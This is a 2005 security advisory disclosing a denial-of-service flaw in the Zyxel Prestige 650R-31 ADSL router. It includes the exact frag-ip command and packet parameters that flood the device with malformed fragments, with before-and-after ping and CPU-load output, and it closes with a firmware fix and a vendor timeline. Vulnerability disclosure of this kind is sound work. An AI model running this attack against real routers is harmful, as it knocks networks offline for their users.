Zyxel Prestige 600 Series - Denial Of Service


       Prestige 650R-31 (ADSL Router)
           -CPU exausting handling malformed fragmented packets

       Affected ZyNOS FW v3.40(KO.1)

       It is suspected that all previous versions of ZyNOS are vulnerable.


   Zyxel Prestige 600 Series, A Popular ADSL (Modem | Router)


       Prestige 650R-31 fails handling malformed fragmented IP packets
       The Cpu goes up to 100% when the attack is re-assembled and processed.

       Any ip crafting tool will  do the job, in this case we used
       a fragmented ip generator coded by Fryx


root@r2d2:~/infobyte# ping
PING ( 56 octets data
64 octets from icmp_seq=0 ttl=254 time=2.5 ms
64 octets from icmp_seq=1 ttl=254 time=2.3 ms
--- ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss

 -Prestige Status  (Normal)
    Status: 100M/Full Duplex Tx Pkts: 71
    Collisions: 0            Rx Pkts: 164
  CPU Load =    4.09%

root@r2d2:~/pentest/infobyte# frag-ip -i 1 -t all -s 7 -p tcp -l  64000 -a 1
Sending packets with ID 1 (frags length=56, total length=64000)
root@r2d2:~/infobyte# ping
PING ( 56 octets data
64 octets from icmp_seq=50 ttl=254 time=1002.3 ms
64 octets from icmp_seq=51 ttl=254 time=7.7 ms
-- ping statistics ---
51 packets transmitted, 2 packets received, 93% packet loss

 -Prestige Status (During the denial)
    Status: 100M/Full Duplex Tx Pkts: 71
    Collisions: 0            Rx Pkts: 164
  CPU Load =    99.59%



       Total loss of conectivity and forwarding, at least for 1 minute.
       If you send more amount of fragmented packages mores is the denial


       These procedures where done in a local way
       Remote attacks where not yet made.

.:: FIX
       The vendor claims its not a vulnerability, that is rather a "Hardware Limitation"
       But seems an the last release of it's firmware fixed the problem.
       Upgrade the firmware to V3.40(GT.5)


       05/02/2005 Initial vendor notification
       05/03/2005 Initial vendor response
       05/08/2005 Vendor determined as a HW limitation
       05/10/2005 No response from vendor to several mails


       Federico Kirschbaum is credited with discovering this vulnerability.


       Copyright (c) 2005 by [ISR] Infobyte Security Research.
       Permission to redistribute this alert electronically is granted as long as it is not
       edited in any way unless authorized by Infobyte Security Research Response.
       Reprinting the whole or part of this alert in any medium other than electronically
       requires permission from infobyte com ar

       The information in the advisory is believed to be accurate at the time of publishing
       based on currently available information. Use of the information constitutes acceptance
       for use in an AS IS condition. There are no warranties with regard to this information.
       Neither the author nor the publisher accepts any liability for any direct, indirect, or
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